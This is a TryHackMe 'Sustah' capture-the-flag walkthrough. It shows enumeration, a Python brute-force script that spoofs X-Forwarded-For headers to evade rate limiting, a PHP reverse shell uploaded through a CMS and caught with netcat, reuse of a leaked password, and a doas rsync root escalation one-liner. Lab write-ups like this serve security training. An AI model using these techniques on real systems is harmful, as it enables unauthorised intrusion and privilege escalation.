TryHackMe - Sustah

Play a game to gain access to a vulnerable CMS. Can you beat the odds?

The developers have added anti-cheat measures to their game. Are you able to defeat the restrictions to gain access to their internal CMS?

Please allow 3 minutes for the box to fully boot and the services to be available.

Untitled

Title Sustah
Difficulty Medium
Author kiransau
Tags security, linux, cms

Enumeration

Nmap

┌──(kali㉿kali)-[~]
└─$ sudo nmap -p- --min-rate 5000 sustah.thm
[sudo] password for kali:
Starting Nmap 7.93 ( https://nmap.org ) at 2023-10-17 22:37 EDT
Nmap scan report for sustah.thm (10.10.134.252)
Host is up (0.26s latency).
Not shown: 65532 closed tcp ports (reset)
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
8085/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 15.39 seconds
┌──(kali㉿kali)-[~]
└─$ sudo nmap -sC -A -sV -Pn -p 22,80,8085 sustah.thm
[sudo] password for kali:
Starting Nmap 7.93 ( https://nmap.org ) at 2023-10-17 22:38 EDT
Nmap scan report for sustah.thm (10.10.134.252)
Host is up (0.16s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 bda4a3ae66681d74e1c06aeb2b9bf333 (RSA)
|   256 9adb73790c72be051a8673dcac6d7aef (ECDSA)
|_  256 648d5c79dee1f73f087cebb7b324641f (ED25519)
80/tcp   open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Susta
|_http-server-header: Apache/2.4.18 (Ubuntu)
8085/tcp open  http    Gunicorn 20.0.4
|_http-server-header: gunicorn/20.0.4
|_http-title: Spinner
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 5.X
OS CPE: cpe:/o:linux:linux_kernel:5.4
OS details: Linux 5.4
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 80/tcp)
HOP RTT       ADDRESS
1   252.73 ms 10.9.0.1 (10.9.0.1)
2   252.85 ms sustah.thm (10.10.134.252)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.43 seconds

HTTP (Port 80) + Fuzzing

Untitled

┌──(kali㉿kali)-[~/Wordlists]
└─$ gobuster dir -w common.txt --no-error -t 50 -u http://sustah.thm/
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://sustah.thm/
[+] Method:                  GET
[+] Threads:                 50
[+] Wordlist:                common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.5
[+] Timeout:                 10s
===============================================================
2023/10/17 22:39:08 Starting gobuster in directory enumeration mode
===============================================================
/.htaccess            (Status: 403) [Size: 275]
/.htpasswd            (Status: 403) [Size: 275]
/.hta                 (Status: 403) [Size: 275]
/index.html           (Status: 200) [Size: 678]
/server-status        (Status: 403) [Size: 275]
Progress: 4614 / 4615 (99.98%)
===============================================================
2023/10/17 22:39:34 Finished
===============================================================

HTTP (Port 8085) + Fuzzing

Untitled

┌──(kali㉿kali)-[~/Wordlists]
└─$ gobuster dir -w ~/Wordlists/directory-list-2.3-medium.txt --no-error -t 50 -u http://sustah.thm:8085/
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://sustah.thm:8085/
[+] Method:                  GET
[+] Threads:                 50
[+] Wordlist:                /home/kali/Wordlists/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.5
[+] Timeout:                 10s
===============================================================
2023/10/17 22:39:43 Starting gobuster in directory enumeration mode
===============================================================
/home                 (Status: 200) [Size: 955]
/ping                 (Status: 200) [Size: 4]

The /home path is the same as the default page, while the /ping path only displays a PONG message which is not helpful in current. So I pass it and focus on the default page.

This is the capture of the request and response:

GET / HTTP/1.1
Host: sustah.thm:8085
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 2
HTTP/1.1 200 OK
Server: gunicorn/20.0.4
Date: Wed, 18 Oct 2023 03:15:09 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 955
X-RateLimit-Limit: 10
X-RateLimit-Remaining: 8
X-RateLimit-Reset: 1697598943
Retry-After: 33

<!DOCTYPE html>
<html lang="en">

[---snipped---]

<label for="number">Feeling lucky? Guess the right number. You have a 0.004% chance of winning.</label>

    <form  method="post" class="inputs">
        <input placeholder="Input" type="number" name="number">
        <button type="submit" class="btn draw-border">Click</button>

    </form>
		<h3></h3>
</body>
<script src="/static/index.js"></script>

</html>

I enter a random numeric into the input field and capture it’s request and response:

POST / HTTP/1.1
Host: sustah.thm:8085
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 8
Origin: http://sustah.thm:8085
Connection: close
Referer: http://sustah.thm:8085/
Upgrade-Insecure-Requests: 1

number=7
HTTP/1.1 200 OK
Server: gunicorn/20.0.4
Date: Wed, 18 Oct 2023 03:17:39 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 1004
X-RateLimit-Limit: 10
X-RateLimit-Remaining: 9
X-RateLimit-Reset: 1697599120
Retry-After: 60

<!DOCTYPE html>
<html lang="en">

[---snipped---]

    <label for="number">Feeling lucky? Guess the right number. You have a 0.004% chance of winning.</label>

    <form  method="post" class="inputs">
        <input placeholder="Input" type="number" name="number">
        <button type="submit" class="btn draw-border">Click</button>

    </form>
    <h3>Oh no! How unlucky. Spin the wheel and try again.</h3>



</body>
<script src="/static/index.js"></script>

</html>

The first question is What is the number that revealed the path? → I must find out the correct number to input into the Input field to get the revealed path. So I perform a brute-force attack on this value but after a few requests, I got the error rate limit exceeded:

Untitled

Base on the response header, I know that the X-RateLimit-Limit is the one that affect the error:

X-RateLimit-Limit: 10
X-RateLimit-Remaining: 9
X-RateLimit-Reset: 1697599120

Googling for awhile and I figure out that I need to modify the request header with these values:

  • X-Originating-IP: 127.0.0.1
  • X-Forwarded-For: 127.0.0.1
  • X-Remote-IP: 127.0.0.1
  • X-Remote-Addr: 127.0.0.1
  • X-Client-IP: 127.0.0.1
  • X-Host: 127.0.0.1
  • X-Forwared-Host: 127.0.0.1

Therefore, I write a Python script to brute-force the number input while adding the above header values to bypass the Rate Limit error occurs:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import requests
import re

url = "http://sustah.thm:8085/"
headers = {"X-Remote-Addr":"127.0.0.1", "X-Originating-IP": "127.0.0.1", "X-Forwarded-For": "127.0.0.1", "X-Remote-IP": "127.0.0.1", "X-Host": "127.0.0.1"}
data = {"number": 5}
incorrect_num = "Oh no! How unlucky. Spin the wheel and try again."

# Start at 10000 because the placeholding in the answer path of the question is 5 digits number

for num in range(10000,99999):
data = {"number":num}
try:
print(f"[...] data={data}")
response = requests.post(url=url, headers=headers, data=data)
except requests.exceptions.RequestException as e:
print(e)
content = response.text
for line in content.split("\n"):
if "h3" in line and incorrect_num not in content:
print("[+] Response: {line}")

❗ Add the try-except to handle the Rate Limit error .

And this is the result:

┌──(kali㉿kali)-[~/TryHackMe/sustah]
└─$ python3 brute_force.py
[...] data={'number': 10000}
[...] data={'number': 10001}
[...] data={'number': 10002}
[...] data={'number': 10003}
[---snipped---]
[...] data={'number': [REDACTED]}
[+] Response:     <h3>path: /[REDACTED]</h3>

Since I found the correct number and got the hidden path, I’ve routed to that path following the port 8085 but it has respond with 404 error code which means that path might only work on port 80 instead of 8085:

┌──(kali㉿kali)-[~/TryHackMe/sustah]
└─$ curl http://sustah.thm:8085/[REDACTED]/
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<title>404 Not Found</title>
<h1>Not Found</h1>
<p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>

So I remove the 8085 number to check out the path on the default http port and I get the name of the running CMS of the server:

Untitled

Enumerate the internal links, I also know its version:

Untitled

Now I now it’s version, I can easily explore the vulnerabilities and the way to exploit it from exploit-db.

First I navigate to the Test Page from the Site Map which has the path is lorem.php and it gives me the link to the login function:

Untitled

After logging in, refresh the page and now I have full permissions to edit,create,open all the things from this application:

Untitled

I hover the File button on the menu-bar > Click New to create a new file which contains my reverse shell:

Untitled

I select the shell from my local machine and upload it within the name as monkey_shell.php:

Untitled

Reload the page and verify that my shell has been uploaded successfully:

Untitled

On my local machine, I start a listener and then click on the monkey_shell.php on the web-browser to execute the shell:

┌──(kali㉿kali)-[~]
└─$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.9.63.75] from (UNKNOWN) [10.10.12.217] 38072
Linux ubuntu-xenial 4.4.0-197-generic #229-Ubuntu SMP Wed Nov 25 11:05:42 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
 07:06:15 up 22 min,  0 users,  load average: 0.00, 0.04, 0.24
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ python3 -c "import pty;pty.spawn('/bin/bash')"
www-data@ubuntu-xenial:/$ id;whoami;pwd
id;whoami;pwd
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data
/

Horizontal Privilege Escalation

I enumerate the /var/ path and explore the backups directory contains a hidden .bak.passwd file:

www-data@ubuntu-xenial:/var/backups$ ls -la
ls -la
total 636
drwxr-xr-x  2 root root     4096 Dec  9  2020 .
drwxr-xr-x 14 root root     4096 Dec  6  2020 ..
-r--r--r--  1 root root     1722 Dec  6  2020 .bak.passwd
-rw-r--r--  1 root root    51200 Dec  6  2020 alternatives.tar.0
-rw-r--r--  1 root root     6308 Dec  9  2020 apt.extended_states.0
-rw-r--r--  1 root root      715 Dec  6  2020 apt.extended_states.1.gz
-rw-r--r--  1 root root      509 Nov 12  2020 dpkg.diversions.0
-rw-r--r--  1 root root      207 Dec  6  2020 dpkg.statoverride.0
-rw-r--r--  1 root root   547201 Dec  6  2020 dpkg.status.0
-rw-------  1 root root      849 Dec  6  2020 group.bak
-rw-------  1 root shadow    714 Dec  6  2020 gshadow.bak
-rw-------  1 root root     1695 Dec  6  2020 passwd.bak
-rw-------  1 root shadow   1031 Dec  6  2020 shadow.bak

Read that file and I get the password of user kiran:

www-data@ubuntu-xenial:/var/backups$ cat .bak.passwd
cat .bak.passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
syslog:x:104:108::/home/syslog:/bin/false
_apt:x:105:65534::/nonexistent:/bin/false
lxd:x:106:65534::/var/lib/lxd/:/bin/false
messagebus:x:107:111::/var/run/dbus:/bin/false
uuidd:x:108:112::/run/uuidd:/bin/false
dnsmasq:x:109:65534:dnsmasq,,,:/var/lib/misc:/bin/false
sshd:x:110:65534::/var/run/sshd:/usr/sbin/nologin
pollinate:x:111:1::/var/cache/pollinate:/bin/false
vagrant:x:1000:1000:,,,:/home/vagrant:/bin/bash
ubuntu:x:1001:1001:Ubuntu:/home/ubuntu:/bin/bash
kiran:x:1002:1002:[REDACTED]:/home/kiran:

Switch to user kiran and simply get the user flag:

www-data@ubuntu-xenial:/var/backups$ su kiran
su kiran
Password: [REDACTED]

kiran@ubuntu-xenial:/var/backups$ id
id
uid=1002(kiran) gid=1002(kiran) groups=1002(kiran)
kiran@ubuntu-xenial:/var/backups$ cd
cd
kiran@ubuntu-xenial:~$ ls -la
ls -la
total 28
drwxr-xr-x 5 kiran kiran 4096 Dec  9  2020 .
drwxr-xr-x 3 root  root  4096 Dec  7  2020 ..
-rw------- 1 kiran kiran    0 Dec  9  2020 .bash_history
drwx------ 2 kiran kiran 4096 Dec  9  2020 .cache
drwxr-x--- 3 kiran kiran 4096 Dec  6  2020 .config
drwx------ 2 kiran kiran 4096 Dec  6  2020 .gnupg
-rw-r--r-- 1 kiran kiran  670 Dec  9  2020 .profile
-r-------- 1 kiran kiran   33 Dec  9  2020 user.txt
kiran@ubuntu-xenial:~$ cat user.txt
cat user.txt
[REDACTED]

Vertical Privilege Escalation

I use grep command to scan all the information that relate to the current user kiran and discover an interest thing:

kiran@ubuntu-xenial:/$ grep -R "kiran" 2>/dev/null | grep "pass"
grep -R "kiran" 2>/dev/null | grep "pass"
usr/local/etc/doas.conf: permit nopass kiran as root cmd rsync

The doas.conf and the following message that permit the user kiran to execute rsync command as root.

💡 This means the doas command is such like as sudo which allow the current user to execute the other commands (in this situation is rsync) as another user (root).

Combining with GTFOBins, the exploit command would be like this:

kiran@ubuntu-xenial:/$ doas rsync -e 'sh -p -c "sh 0<&2 1>&2"' 127.0.0.1:/dev/null
< rsync -e 'sh -p -c "sh 0<&2 1>&2"' 127.0.0.1:/dev/null
# whoami;id
whoami;id
root
uid=0(root) gid=0(root) groups=0(root)
# cat /root/root.txt
cat /root/root.txt
[REDACTED]